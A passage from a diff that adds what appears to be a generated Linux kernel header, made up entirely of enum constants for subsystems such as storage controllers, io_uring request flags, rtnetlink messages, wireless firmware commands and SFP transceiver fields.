PER_OSF4 = 15, + PER_HPUX = 16, + PER_MASK = 255, +}; + +enum { + PIIX_IOCFG = 84, + ICH5_PMR = 144, + ICH5_PCS = 146, + PIIX_SIDPR_BAR = 5, + PIIX_SIDPR_LEN = 16, + PIIX_SIDPR_IDX = 0, + PIIX_SIDPR_DATA = 4, + PIIX_FLAG_CHECKINTR = 268435456, + PIIX_FLAG_SIDPR = 536870912, + PIIX_PATA_FLAGS = 1, + PIIX_SATA_FLAGS = 268435458, + PIIX_FLAG_PIO16 = 1073741824, + PIIX_80C_PRI = 48, + PIIX_80C_SEC = 192, + P0 = 0, + P1 = 1, + P2 = 2, + P3 = 3, + IDE = -1, + NA = -2, + RV = -3, + PIIX_AHCI_DEVICE = 6, + PIIX_HOST_BROKEN_SUSPEND = 16777216, +}; + +enum { + PIM_TYPE_HELLO = 0, + PIM_TYPE_REGISTER = 1, + PIM_TYPE_REGISTER_STOP = 2, + PIM_TYPE_JOIN_PRUNE = 3, + PIM_TYPE_BOOTSTRAP = 4, + PIM_TYPE_ASSERT = 5, + PIM_TYPE_GRAFT = 6, + PIM_TYPE_GRAFT_ACK = 7, + PIM_TYPE_CANDIDATE_RP_ADV = 8, +}; + +enum { + PLAT8250_DEV_LEGACY = -1, + PLAT8250_DEV_PLATFORM = 0, + PLAT8250_DEV_PLATFORM1 = 1, + PLAT8250_DEV_PLATFORM2 = 2, + PLAT8250_DEV_FOURPORT = 3, + PLAT8250_DEV_ACCENT = 4, + PLAT8250_DEV_BOCA = 5, + PLAT8250_DEV_EXAR_ST16C554 = 6, + PLAT8250_DEV_HUB6 = 7, + PLAT8250_DEV_AU1X00 = 8, + PLAT8250_DEV_SM501 = 9, +}; + +enum { + POOL_BITS = 256, + POOL_READY_BITS = 256, + POOL_EARLY_BITS = 128, +}; + +enum { + POWER_SUPPLY_SCOPE_UNKNOWN = 0, + POWER_SUPPLY_SCOPE_SYSTEM = 1, + POWER_SUPPLY_SCOPE_DEVICE = 2, +}; + +enum { + POWER_SUPPLY_TECHNOLOGY_UNKNOWN = 0, + POWER_SUPPLY_TECHNOLOGY_NiMH = 1, + POWER_SUPPLY_TECHNOLOGY_LION = 2, + POWER_SUPPLY_TECHNOLOGY_LIPO = 3, + POWER_SUPPLY_TECHNOLOGY_LiFe = 4, + POWER_SUPPLY_TECHNOLOGY_NiCd = 5, + POWER_SUPPLY_TECHNOLOGY_LiMn = 6, +}; + +enum { + PREFIX_UNSPEC = 0, + PREFIX_ADDRESS = 1, + PREFIX_CACHEINFO = 2, + __PREFIX_MAX = 3, +}; + +enum { + PROC_ENTRY_PERMANENT = 1, +}; + +enum { + PSS = 0, + PPC = 1, +}; + +enum { + QOS_ENABLE = 0, + QOS_CTRL = 1, + NR_QOS_CTRL_PARAMS = 2, +}; + +enum { + QOS_RPPM = 0, + QOS_RLAT = 1, + QOS_WPPM = 2, + QOS_WLAT = 3, + QOS_MIN = 4, + QOS_MAX = 5, + NR_QOS_PARAMS = 6, +}; + +enum { + QUEUE_FLAG_DYING = 0, + QUEUE_FLAG_NOMERGES = 1, + QUEUE_FLAG_SAME_COMP = 2, + QUEUE_FLAG_FAIL_IO = 3, + QUEUE_FLAG_NOXMERGES = 4, + QUEUE_FLAG_SAME_FORCE = 5, + QUEUE_FLAG_INIT_DONE = 6, + QUEUE_FLAG_STATS = 7, + QUEUE_FLAG_REGISTERED = 8, + QUEUE_FLAG_QUIESCED = 9, + QUEUE_FLAG_RQ_ALLOC_TIME = 10, + QUEUE_FLAG_HCTX_ACTIVE = 11, + QUEUE_FLAG_SQ_SCHED = 12, + QUEUE_FLAG_MAX = 13, +}; + +enum { + Q_REQUEUE_PI_NONE = 0, + Q_REQUEUE_PI_IGNORE = 1, + Q_REQUEUE_PI_IN_PROGRESS = 2, + Q_REQUEUE_PI_WAIT = 3, + Q_REQUEUE_PI_DONE = 4, + Q_REQUEUE_PI_LOCKED = 5, +}; + +enum { + RADIX_TREE_ITER_TAG_MASK = 15, + RADIX_TREE_ITER_TAGGED = 16, + RADIX_TREE_ITER_CONTIG = 32, +}; + +enum { + RANGE_BOUNDARY_WRITTEN_EXTENT = 0, + RANGE_BOUNDARY_PREALLOC_EXTENT = 1, + RANGE_BOUNDARY_HOLE = 2, +}; + +enum { + RB_ADD_STAMP_NONE = 0, + RB_ADD_STAMP_EXTEND = 2, + RB_ADD_STAMP_ABSOLUTE = 4, + RB_ADD_STAMP_FORCE = 8, +}; + +enum { + RB_CTX_TRANSITION = 0, + RB_CTX_NMI = 1, + RB_CTX_IRQ = 2, + RB_CTX_SOFTIRQ = 3, + RB_CTX_NORMAL = 4, + RB_CTX_MAX = 5, +}; + +enum { + RB_LEN_TIME_EXTEND = 8, + RB_LEN_TIME_STAMP = 8, +}; + +enum { + READA_NONE = 0, + READA_BACK = 1, + READA_FORWARD = 2, + READA_FORWARD_ALWAYS = 3, +}; + +enum { + READ_NVM_CHUNK_SUCCEED = 0, + READ_NVM_CHUNK_NOT_VALID_ADDRESS = 1, +}; + +enum { + REASON_BOUNDS = -1, + REASON_TYPE = -2, + REASON_PATHS = -3, + REASON_LIMIT = -4, + REASON_STACK = -5, +}; + +enum { + REGION_INTERSECTS = 0, + REGION_DISJOINT = 1, + REGION_MIXED = 2, +}; + +enum { + REPLY_ALIVE = 1, + REPLY_ERROR = 2, + REPLY_ECHO = 3, + REPLY_RXON = 16, + REPLY_RXON_ASSOC = 17, + REPLY_QOS_PARAM = 19, + REPLY_RXON_TIMING = 20, + REPLY_ADD_STA = 24, + REPLY_REMOVE_STA = 25, + REPLY_REMOVE_ALL_STA = 26, + REPLY_TXFIFO_FLUSH = 30, + REPLY_WEPKEY = 32, + REPLY_TX = 28, + REPLY_LEDS_CMD = 72, + REPLY_TX_LINK_QUALITY_CMD = 78, + COEX_PRIORITY_TABLE_CMD = 90, + COEX_MEDIUM_NOTIFICATION = 91, + COEX_EVENT_CMD = 92, + TEMPERATURE_NOTIFICATION = 98, + CALIBRATION_CFG_CMD = 101, + CALIBRATION_RES_NOTIFICATION = 102, + CALIBRATION_COMPLETE_NOTIFICATION = 103, + REPLY_QUIET_CMD = 113, + REPLY_CHANNEL_SWITCH = 114, + CHANNEL_SWITCH_NOTIFICATION = 115, + REPLY_SPECTRUM_MEASUREMENT_CMD = 116, + SPECTRUM_MEASURE_NOTIFICATION = 117, + POWER_TABLE_CMD = 119, + PM_SLEEP_NOTIFICATION = 122, + PM_DEBUG_STATISTIC_NOTIFIC = 123, + REPLY_SCAN_CMD = 128, + REPLY_SCAN_ABORT_CMD = 129, + SCAN_START_NOTIFICATION = 130, + SCAN_RESULTS_NOTIFICATION = 131, + SCAN_COMPLETE_NOTIFICATION = 132, + BEACON_NOTIFICATION = 144, + REPLY_TX_BEACON = 145, + WHO_IS_AWAKE_NOTIFICATION = 148, + REPLY_TX_POWER_DBM_CMD = 149, + QUIET_NOTIFICATION = 150, + REPLY_TX_PWR_TABLE_CMD = 151, + REPLY_TX_POWER_DBM_CMD_V1 = 152, + TX_ANT_CONFIGURATION_CMD = 152, + MEASURE_ABORT_NOTIFICATION = 153, + REPLY_BT_CONFIG = 155, + REPLY_STATISTICS_CMD = 156, + STATISTICS_NOTIFICATION = 157, + REPLY_CARD_STATE_CMD = 160, + CARD_STATE_NOTIFICATION = 161, + MISSED_BEACONS_NOTIFICATION = 162, + REPLY_CT_KILL_CONFIG_CMD = 164, + SENSITIVITY_CMD = 168, + REPLY_PHY_CALIBRATION_CMD = 176, + REPLY_RX_PHY_CMD = 192, + REPLY_RX_MPDU_CMD = 193, + REPLY_RX = 195, + REPLY_COMPRESSED_BA = 197, + REPLY_BT_COEX_PRIO_TABLE = 204, + REPLY_BT_COEX_PROT_ENV = 205, + REPLY_BT_COEX_PROFILE_NOTIF = 206, + REPLY_WIPAN_PARAMS = 178, + REPLY_WIPAN_RXON = 179, + REPLY_WIPAN_RXON_TIMING = 180, + REPLY_WIPAN_RXON_ASSOC = 182, + REPLY_WIPAN_QOS_PARAM = 183, + REPLY_WIPAN_WEPKEY = 184, + REPLY_WIPAN_P2P_CHANNEL_SWITCH = 185, + REPLY_WIPAN_NOA_NOTIFICATION = 188, + REPLY_WIPAN_DEACTIVATION_COMPLETE = 189, + REPLY_WOWLAN_PATTERNS = 224, + REPLY_WOWLAN_WAKEUP_FILTER = 225, + REPLY_WOWLAN_TSC_RSC_PARAMS = 226, + REPLY_WOWLAN_TKIP_PARAMS = 227, + REPLY_WOWLAN_KEK_KCK_MATERIAL = 228, + REPLY_WOWLAN_GET_STATUS = 229, + REPLY_D3_CONFIG = 211, + REPLY_MAX = 255, +}; + +enum { + REQ_FSEQ_PREFLUSH = 1, + REQ_FSEQ_DATA = 2, + REQ_FSEQ_POSTFLUSH = 4, + REQ_FSEQ_DONE = 8, + REQ_FSEQ_ACTIONS = 7, + FLUSH_PENDING_TIMEOUT = 5000, +}; + +enum { + REQ_F_FIXED_FILE = 1ULL, + REQ_F_IO_DRAIN = 2ULL, + REQ_F_LINK = 4ULL, + REQ_F_HARDLINK = 8ULL, + REQ_F_FORCE_ASYNC = 16ULL, + REQ_F_BUFFER_SELECT = 32ULL, + REQ_F_CQE_SKIP = 64ULL, + REQ_F_FAIL = 256ULL, + REQ_F_INFLIGHT = 512ULL, + REQ_F_CUR_POS = 1024ULL, + REQ_F_NOWAIT = 2048ULL, + REQ_F_LINK_TIMEOUT = 4096ULL, + REQ_F_NEED_CLEANUP = 8192ULL, + REQ_F_POLLED = 16384ULL, + REQ_F_BUFFER_SELECTED = 32768ULL, + REQ_F_BUFFER_RING = 65536ULL, + REQ_F_REISSUE = 131072ULL, + REQ_F_SUPPORT_NOWAIT = 268435456ULL, + REQ_F_ISREG = 536870912ULL, + REQ_F_CREDS = 262144ULL, + REQ_F_REFCOUNT = 524288ULL, + REQ_F_ARM_LTIMEOUT = 1048576ULL, + REQ_F_ASYNC_DATA = 2097152ULL, + REQ_F_SKIP_LINK_CQES = 4194304ULL, + REQ_F_SINGLE_POLL = 8388608ULL, + REQ_F_DOUBLE_POLL = 16777216ULL, + REQ_F_APOLL_MULTISHOT = 33554432ULL, + REQ_F_CLEAR_POLLIN = 67108864ULL, + REQ_F_HASH_LOCKED = 134217728ULL, + REQ_F_POLL_NO_LAZY = 1073741824ULL, + REQ_F_CAN_POLL = 2147483648ULL, + REQ_F_BL_EMPTY = 4294967296ULL, + REQ_F_BL_NO_RECYCLE = 8589934592ULL, + REQ_F_BUFFERS_COMMIT = 17179869184ULL, +}; + +enum { + REQ_F_FIXED_FILE_BIT = 0, + REQ_F_IO_DRAIN_BIT = 1, + REQ_F_LINK_BIT = 2, + REQ_F_HARDLINK_BIT = 3, + REQ_F_FORCE_ASYNC_BIT = 4, + REQ_F_BUFFER_SELECT_BIT = 5, + REQ_F_CQE_SKIP_BIT = 6, + REQ_F_FAIL_BIT = 8, + REQ_F_INFLIGHT_BIT = 9, + REQ_F_CUR_POS_BIT = 10, + REQ_F_NOWAIT_BIT = 11, + REQ_F_LINK_TIMEOUT_BIT = 12, + REQ_F_NEED_CLEANUP_BIT = 13, + REQ_F_POLLED_BIT = 14, + REQ_F_BUFFER_SELECTED_BIT = 15, + REQ_F_BUFFER_RING_BIT = 16, + REQ_F_REISSUE_BIT = 17, + REQ_F_CREDS_BIT = 18, + REQ_F_REFCOUNT_BIT = 19, + REQ_F_ARM_LTIMEOUT_BIT = 20, + REQ_F_ASYNC_DATA_BIT = 21, + REQ_F_SKIP_LINK_CQES_BIT = 22, + REQ_F_SINGLE_POLL_BIT = 23, + REQ_F_DOUBLE_POLL_BIT = 24, + REQ_F_APOLL_MULTISHOT_BIT = 25, + REQ_F_CLEAR_POLLIN_BIT = 26, + REQ_F_HASH_LOCKED_BIT = 27, + REQ_F_SUPPORT_NOWAIT_BIT = 28, + REQ_F_ISREG_BIT = 29, + REQ_F_POLL_NO_LAZY_BIT = 30, + REQ_F_CAN_POLL_BIT = 31, + REQ_F_BL_EMPTY_BIT = 32, + REQ_F_BL_NO_RECYCLE_BIT = 33, + REQ_F_BUFFERS_COMMIT_BIT = 34, + __REQ_F_LAST_BIT = 35, +}; + +enum { + RES_USAGE = 0, + RES_RSVD_USAGE = 1, + RES_LIMIT = 2, + RES_RSVD_LIMIT = 3, + RES_MAX_USAGE = 4, + RES_RSVD_MAX_USAGE = 5, + RES_FAILCNT = 6, + RES_RSVD_FAILCNT = 7, +}; + +enum { + RQ_WAIT_BUSY_PCT = 5, + UNBUSY_THR_PCT = 75, + MIN_DELAY_THR_PCT = 500, + MAX_DELAY_THR_PCT = 25000, + MIN_DELAY = 250, + MAX_DELAY = 250000, + DFGV_USAGE_PCT = 50, + DFGV_PERIOD = 100000, + MAX_LAGGING_PERIODS = 10, + IOC_PAGE_SHIFT = 12, + IOC_PAGE_SIZE = 4096, + IOC_SECT_TO_PAGE_SHIFT = 3, + LCOEF_RANDIO_PAGES = 4096, +}; + +enum { + RS_STATE_SEARCH_CYCLE_STARTED = 0, + RS_STATE_SEARCH_CYCLE_ENDED = 1, + RS_STATE_STAY_IN_COLUMN = 2, +}; + +enum { + RTAX_UNSPEC = 0, + RTAX_LOCK = 1, + RTAX_MTU = 2, + RTAX_WINDOW = 3, + RTAX_RTT = 4, + RTAX_RTTVAR = 5, + RTAX_SSTHRESH = 6, + RTAX_CWND = 7, + RTAX_ADVMSS = 8, + RTAX_REORDERING = 9, + RTAX_HOPLIMIT = 10, + RTAX_INITCWND = 11, + RTAX_FEATURES = 12, + RTAX_RTO_MIN = 13, + RTAX_INITRWND = 14, + RTAX_QUICKACK = 15, + RTAX_CC_ALGO = 16, + RTAX_FASTOPEN_NO_COOKIE = 17, + __RTAX_MAX = 18, +}; + +enum { + RTM_BASE = 16, + RTM_NEWLINK = 16, + RTM_DELLINK = 17, + RTM_GETLINK = 18, + RTM_SETLINK = 19, + RTM_NEWADDR = 20, + RTM_DELADDR = 21, + RTM_GETADDR = 22, + RTM_NEWROUTE = 24, + RTM_DELROUTE = 25, + RTM_GETROUTE = 26, + RTM_NEWNEIGH = 28, + RTM_DELNEIGH = 29, + RTM_GETNEIGH = 30, + RTM_NEWRULE = 32, + RTM_DELRULE = 33, + RTM_GETRULE = 34, + RTM_NEWQDISC = 36, + RTM_DELQDISC = 37, + RTM_GETQDISC = 38, + RTM_NEWTCLASS = 40, + RTM_DELTCLASS = 41, + RTM_GETTCLASS = 42, + RTM_NEWTFILTER = 44, + RTM_DELTFILTER = 45, + RTM_GETTFILTER = 46, + RTM_NEWACTION = 48, + RTM_DELACTION = 49, + RTM_GETACTION = 50, + RTM_NEWPREFIX = 52, + RTM_GETMULTICAST = 58, + RTM_GETANYCAST = 62, + RTM_NEWNEIGHTBL = 64, + RTM_GETNEIGHTBL = 66, + RTM_SETNEIGHTBL = 67, + RTM_NEWNDUSEROPT = 68, + RTM_NEWADDRLABEL = 72, + RTM_DELADDRLABEL = 73, + RTM_GETADDRLABEL = 74, + RTM_GETDCB = 78, + RTM_SETDCB = 79, + RTM_NEWNETCONF = 80, + RTM_DELNETCONF = 81, + RTM_GETNETCONF = 82, + RTM_NEWMDB = 84, + RTM_DELMDB = 85, + RTM_GETMDB = 86, + RTM_NEWNSID = 88, + RTM_DELNSID = 89, + RTM_GETNSID = 90, + RTM_NEWSTATS = 92, + RTM_GETSTATS = 94, + RTM_SETSTATS = 95, + RTM_NEWCACHEREPORT = 96, + RTM_NEWCHAIN = 100, + RTM_DELCHAIN = 101, + RTM_GETCHAIN = 102, + RTM_NEWNEXTHOP = 104, + RTM_DELNEXTHOP = 105, + RTM_GETNEXTHOP = 106, + RTM_NEWLINKPROP = 108, + RTM_DELLINKPROP = 109, + RTM_GETLINKPROP = 110, + RTM_NEWVLAN = 112, + RTM_DELVLAN = 113, + RTM_GETVLAN = 114, + RTM_NEWNEXTHOPBUCKET = 116, + RTM_DELNEXTHOPBUCKET = 117, + RTM_GETNEXTHOPBUCKET = 118, + RTM_NEWTUNNEL = 120, + RTM_DELTUNNEL = 121, + RTM_GETTUNNEL = 122, + __RTM_MAX = 123, +}; + +enum { + RTN_UNSPEC = 0, + RTN_UNICAST = 1, + RTN_LOCAL = 2, + RTN_BROADCAST = 3, + RTN_ANYCAST = 4, + RTN_MULTICAST = 5, + RTN_BLACKHOLE = 6, + RTN_UNREACHABLE = 7, + RTN_PROHIBIT = 8, + RTN_THROW = 9, + RTN_NAT = 10, + RTN_XRESOLVE = 11, + __RTN_MAX = 12, +}; + +enum { + RWB_DEF_DEPTH = 16, + RWB_WINDOW_NSEC = 100000000, + RWB_MIN_WRITE_SAMPLES = 3, + RWB_UNKNOWN_BUMP = 5, +}; + +enum { + RXON_DEV_TYPE_AP = 1, + RXON_DEV_TYPE_ESS = 3, + RXON_DEV_TYPE_IBSS = 4, + RXON_DEV_TYPE_SNIFFER = 6, + RXON_DEV_TYPE_CP = 7, + RXON_DEV_TYPE_2STA = 8, + RXON_DEV_TYPE_P2P = 9, +}; + +enum { + Root_NFS = 255, + Root_CIFS = 254, + Root_Generic = 253, + Root_RAM0 = 1048576, +}; + +enum { + SAMPLES = 8, + MIN_CHANGE = 5, +}; + +enum { + SB_UNFROZEN = 0, + SB_FREEZE_WRITE = 1, + SB_FREEZE_PAGEFAULT = 2, + SB_FREEZE_FS = 3, + SB_FREEZE_COMPLETE = 4, +}; + +enum { + SCM_TSTAMP_SND = 0, + SCM_TSTAMP_SCHED = 1, + SCM_TSTAMP_ACK = 2, +}; + +enum { + SD_BALANCE_NEWIDLE = 1, + SD_BALANCE_EXEC = 2, + SD_BALANCE_FORK = 4, + SD_BALANCE_WAKE = 8, + SD_WAKE_AFFINE = 16, + SD_ASYM_CPUCAPACITY = 32, + SD_ASYM_CPUCAPACITY_FULL = 64, + SD_SHARE_CPUCAPACITY = 128, + SD_CLUSTER = 256, + SD_SHARE_LLC = 512, + SD_SERIALIZE = 1024, + SD_ASYM_PACKING = 2048, + SD_PREFER_SIBLING = 4096, + SD_OVERLAP = 8192, + SD_NUMA = 16384, +}; + +enum { + SD_DEF_XFER_BLOCKS = 65535, + SD_MAX_XFER_BLOCKS = 4294967295, + SD_MAX_WS10_BLOCKS = 65535, + SD_MAX_WS16_BLOCKS = 8388607, +}; + +enum { + SD_EXT_CDB_SIZE = 32, + SD_MEMPOOL_SIZE = 2, +}; + +enum { + SD_LBP_FULL = 0, + SD_LBP_UNMAP = 1, + SD_LBP_WS16 = 2, + SD_LBP_WS10 = 3, + SD_LBP_ZERO = 4, + SD_LBP_DISABLE = 5, +}; + +enum { + SD_ZERO_WRITE = 0, + SD_ZERO_WS = 1, + SD_ZERO_WS16_UNMAP = 2, + SD_ZERO_WS10_UNMAP = 3, +}; + +enum { + SECTION_MARKED_PRESENT_BIT = 0, + SECTION_HAS_MEM_MAP_BIT = 1, + SECTION_IS_ONLINE_BIT = 2, + SECTION_IS_EARLY_BIT = 3, + SECTION_MAP_LAST_BIT = 4, +}; + +enum { + SEG6_ATTR_UNSPEC = 0, + SEG6_ATTR_DST = 1, + SEG6_ATTR_DSTLEN = 2, + SEG6_ATTR_HMACKEYID = 3, + SEG6_ATTR_SECRET = 4, + SEG6_ATTR_SECRETLEN = 5, + SEG6_ATTR_ALGID = 6, + SEG6_ATTR_HMACINFO = 7, + __SEG6_ATTR_MAX = 8, +}; + +enum { + SEG6_CMD_UNSPEC = 0, + SEG6_CMD_SETHMAC = 1, + SEG6_CMD_DUMPHMAC = 2, + SEG6_CMD_SET_TUNSRC = 3, + SEG6_CMD_GET_TUNSRC = 4, + __SEG6_CMD_MAX = 5, +}; + +enum { + SFF8024_ID_UNK = 0, + SFF8024_ID_SFF_8472 = 2, + SFF8024_ID_SFP = 3, + SFF8024_ID_DWDM_SFP = 11, + SFF8024_ID_QSFP_8438 = 12, + SFF8024_ID_QSFP_8436_8636 = 13, + SFF8024_ID_QSFP28_8636 = 17, + SFF8024_ID_QSFP_DD = 24, + SFF8024_ID_OSFP = 25, + SFF8024_ID_DSFP = 27, + SFF8024_ID_QSFP_PLUS_CMIS = 30, + SFF8024_ID_SFP_DD_CMIS = 31, + SFF8024_ID_SFP_PLUS_CMIS = 32, + SFF8024_ENCODING_UNSPEC = 0, + SFF8024_ENCODING_8B10B = 1, + SFF8024_ENCODING_4B5B = 2, + SFF8024_ENCODING_NRZ = 3, + SFF8024_ENCODING_8472_MANCHESTER = 4, + SFF8024_ENCODING_8472_SONET = 5, + SFF8024_ENCODING_8472_64B66B = 6, + SFF8024_ENCODING_8436_MANCHESTER = 6, + SFF8024_ENCODING_8436_SONET = 4, + SFF8024_ENCODING_8436_64B66B = 5, + SFF8024_ENCODING_256B257B = 7, + SFF8024_ENCODING_PAM4 = 8, + SFF8024_CONNECTOR_UNSPEC = 0, + SFF8024_CONNECTOR_SC = 1, + SFF8024_CONNECTOR_FIBERJACK = 6, + SFF8024_CONNECTOR_LC = 7, + SFF8024_CONNECTOR_MT_RJ = 8, + SFF8024_CONNECTOR_MU = 9, + SFF8024_CONNECTOR_SG = 10, + SFF8024_CONNECTOR_OPTICAL_PIGTAIL = 11, + SFF8024_CONNECTOR_MPO_1X12 = 12, + SFF8024_CONNECTOR_MPO_2X16 = 13, + SFF8024_CONNECTOR_HSSDC_II = 32, + SFF8024_CONNECTOR_COPPER_PIGTAIL = 33, + SFF8024_CONNECTOR_RJ45 = 34, + SFF8024_CONNECTOR_NOSEPARATE = 35, + SFF8024_CONNECTOR_MXC_2X16 = 36, + SFF8024_ECC_UNSPEC = 0, + SFF8024_ECC_100G_25GAUI_C2M_AOC = 1, + SFF8024_ECC_100GBASE_SR4_25GBASE_SR = 2, + SFF8024_ECC_100GBASE_LR4_25GBASE_LR = 3, + SFF8024_ECC_100GBASE_ER4_25GBASE_ER = 4, + SFF8024_ECC_100GBASE_SR10 = 5, + SFF8024_ECC_100GBASE_CR4 = 11, + SFF8024_ECC_25GBASE_CR_S = 12, + SFF8024_ECC_25GBASE_CR_N = 13, + SFF8024_ECC_10GBASE_T_SFI = 22, + SFF8024_ECC_10GBASE_T_SR = 28, + SFF8024_ECC_5GBASE_T = 29, + SFF8024_ECC_2_5GBASE_T = 30, +}; + +enum { + SFP_PHYS_ID = 0, + SFP_PHYS_EXT_ID = 1, + SFP_PHYS_EXT_ID_SFP = 4, + SFP_CONNECTOR = 2, + SFP_COMPLIANCE = 3, + SFP_ENCODING = 11, + SFP_BR_NOMINAL = 12, + SFP_RATE_ID = 13, + SFF_RID_8079 = 1, + SFF_RID_8431_RX_ONLY = 2, + SFF_RID_8431_TX_ONLY = 4, + SFF_RID_8431 = 6, + SFF_RID_10G8G = 14, + SFP_LINK_LEN_SM_KM = 14, + SFP_LINK_LEN_SM_100M = 15, + SFP_LINK_LEN_50UM_OM2_10M = 16, + SFP_LINK_LEN_62_5UM_OM1_10M = 17, + SFP_LINK_LEN_COPPER_1M = 18, + SFP_LINK_LEN_50UM_OM4_10M = 18, + SFP_LINK_LEN_50UM_OM3_10M = 19, + SFP_VENDOR_NAME = 20, + SFP_VENDOR_OUI = 37, + SFP_VENDOR_PN = 40, + SFP_VENDOR_REV = 56, + SFP_OPTICAL_WAVELENGTH_MSB = 60, + SFP_OPTICAL_WAVELENGTH_LSB = 61, + SFP_CABLE_SPEC = 60, + SFP_CC_BASE = 63, + SFP_OPTIONS = 64, + SFP_OPTIONS_HIGH_POWER_LEVEL = 8192, + SFP_OPTIONS_PAGING_A2 = 4096, + SFP_OPTIONS_RETIMER = 2048, + SFP_OPTIONS_COOLED_XCVR = 1024, + SFP_OPTIONS_POWER_DECL = 512, + SFP_OPTIONS_RX_LINEAR_OUT = 256, + SFP_OPTIONS_RX_DECISION_THRESH = 128, + SFP_OPTIONS_TUNABLE_TX = 64, + SFP_OPTIONS_RATE_SELECT = 32, + SFP_OPTIONS_TX_DISABLE = 16, + SFP_OPTIONS_TX_FAULT = 8, + SFP_OPTIONS_LOS_INVERTED = 4, + SFP_OPTIONS_LOS_NORMAL = 2, + SFP_BR_MAX = 66, + SFP_BR_MIN = 67, + SFP_VENDOR_SN = 68, + SFP_DATECODE = 84, + SFP_DIAGMON = 92, + SFP_DIAGMON_DDM = 64, + SFP_DIAGMON_INT_CAL = 32, + SFP_DIAGMON_EXT_CAL = 16, + SFP_DIAGMON_RXPWR_AVG = 8, + SFP_DIAGMON_ADDRMODE = 4, + SFP_ENHOPTS = 93, + SFP_ENHOPTS_ALARMWARN = 128, + SFP_ENHOPTS_SOFT_TX_DISABLE = 64, + SFP_ENHOPTS_SOFT_TX_FAULT = 32, + SFP_ENHOPTS_SOFT_RX_LOS = 16, + SFP_ENHOPTS_SOFT_RATE_SELECT = 8, + SFP_ENHOPTS_APP_SELECT_SFF8079 = 4, + SFP_ENHOPTS_SOFT_RATE_SFF8431 = 2, + SFP_SFF8472_COMPLIANCE = 94, + SFP_SFF8472_COMPLIANCE_NONE = 0, + SFP_SFF8472_COMPLIANCE_REV9_3 = 1, + SFP_SFF8472_COMPLIANCE_REV9_5 = 2, + SFP_SFF8472_COMPLIANCE_REV10_2 = 3, + SFP_SFF8472_COMPLIANCE_REV10_4 = 4, + SFP_SFF8472_COMPLIANCE_REV11_0 = 5, + SFP_SFF8472_COMPLIANCE_REV11_3 = 6, + SFP_SFF8472_COMPLIANCE_REV11_4 = 7, + SFP_SFF8472_COMPLIANCE_REV12_0 = 8, + SFP_CC_EXT = 95, +}; + +enum { + SILICON_A_STEP = 0, + SILICON_B_STEP = 1, + SILICON_C_STEP = 2, + SILICON_D_STEP = 3, + SILICON_E_STEP = 4, + SILICON_TC_STEP = 14, + SILICON_Z_STEP = 15, +}; + +enum { + SKBFL_ZEROCOPY_ENABLE = 1, + SKBFL_SHARED_FRAG = 2, + SKBFL_PURE_ZEROCOPY = 4, + SKBFL_DONT_ORPHAN = 8, + SKBFL_MANAGED_FRAG_REFS = 16, +}; + +enum { + SKBTX_HW_TSTAMP = 1, + SKBTX_SW_TSTAMP = 2, + SKBTX_IN_PROGRESS = 4, + SKBTX_HW_TSTAMP_USE_CYCLES = 8, + SKBTX_WIFI_STATUS = 16, + SKBTX_HW_TSTAMP_NETDEV = 32, + SKBTX_SCHED_TSTAMP = 64, +}; + +enum { + SKB_FCLONE_UNAVAILABLE = 0, + SKB_FCLONE_ORIG = 1, + SKB_FCLONE_CLONE = 2, +}; + +enum { + SKB_GSO_TCPV4 = 1, + SKB_GSO_DODGY = 2, + SKB_GSO_TCP_ECN = 4, + SKB_GSO_TCP_FIXEDID = 8, + SKB_GSO_TCPV6 = 16, + SKB_GSO_FCOE = 32, + SKB_GSO_GRE = 64, + SKB_GSO_GRE_CSUM = 128, + SKB_GSO_IPXIP4 = 256, + SKB_GSO_IPXIP6 = 512, + SKB_GSO_UDP_TUNNEL = 1024, + SKB_GSO_UDP_TUNNEL_CSUM = 2048, + SKB_GSO_PARTIAL = 4096, + SKB_GSO_TUNNEL_REMCSUM = 8192, + SKB_GSO_SCTP = 16384, + SKB_GSO_ESP = 32768, + SKB_GSO_UDP = 65536, + SKB_GSO_UDP_L4 = 131072, + SKB_GSO_FRAGLIST = 262144, +}; + +enum { + SKCIPHER_WALK_PHYS = 1, + SKCIPHER_WALK_SLOW = 2, + SKCIPHER_WALK_COPY = 4, + SKCIPHER_WALK_DIFF = 8, + SKCIPHER_WALK_SLEEP = 16, +}; + +enum { + SK_DIAG_BPF_STORAGE_NONE = 0, + SK_DIAG_BPF_STORAGE_PAD = 1, + SK_DIAG_BPF_STORAGE_MAP_ID = 2, + SK_DIAG_BPF_STORAGE_MAP_VALUE = 3, + __SK_DIAG_BPF_STORAGE_MAX = 4, +}; + +enum { + SK_DIAG_BPF_STORAGE_REP_NONE = 0, + SK_DIAG_BPF_STORAGE = 1, + __SK_DIAG_BPF_STORAGE_REP_MAX = 2, +}; + +enum { + SK_DIAG_BPF_STORAGE_REQ_NONE = 0, + SK_DIAG_BPF_STORAGE_REQ_MAP_FD = 1, + __SK_DIAG_BPF_STORAGE_REQ_MAX = 2, +}; + +enum { + SK_MEMINFO_RMEM_ALLOC = 0, + SK_MEMINFO_RCVBUF = 1, + SK_MEMINFO_WMEM_ALLOC = 2, + SK_MEMINFO_SNDBUF = 3, + SK_MEMINFO_FWD_ALLOC = 4, + SK_MEMINFO_WMEM_QUEUED = 5, + SK_MEMINFO_OPTMEM = 6, + SK_MEMINFO_BACKLOG = 7, + SK_MEMINFO_DROPS = 8, + SK_MEMINFO_VARS = 9, +}; + +enum { + SNBEP_PCI_QPI_PORT0_FILTER = 0, + SNBEP_PCI_QPI_PORT1_FILTER = 1, + BDX_PCI_QPI_PORT2_FILTER = 2, +}; + +enum { + SOCK_WAKE_IO = 0, + SOCK_WAKE_WAITD = 1, + SOCK_WAKE_SPACE = 2, + SOCK_WAKE_URG = 3, +}; + +enum { + SOF_TIMESTAMPING_TX_HARDWARE = 1, + SOF_TIMESTAMPING_TX_SOFTWARE = 2, + SOF_TIMESTAMPING_RX_HARDWARE = 4, + SOF_TIMESTAMPING_RX_SOFTWARE = 8, + SOF_TIMESTAMPING_SOFTWARE = 16, + SOF_TIMESTAMPING_SYS_HARDWARE = 32, + SOF_TIMESTAMPING_RAW_HARDWARE = 64, + SOF_TIMESTAMPING_OPT_ID = 128, + SOF_TIMESTAMPING_TX_SCHED = 256, + SOF_TIMESTAMPING_TX_ACK = 512, + SOF_TIMESTAMPING_OPT_CMSG = 1024, + SOF_TIMESTAMPING_OPT_TSONLY = 2048, + SOF_TIMESTAMPING_OPT_STATS = 4096, + SOF_TIMESTAMPING_OPT_PKTINFO = 8192, + SOF_TIMESTAMPING_OPT_TX_SWHW = 16384, + SOF_TIMESTAMPING_BIND_PHC = 32768, + 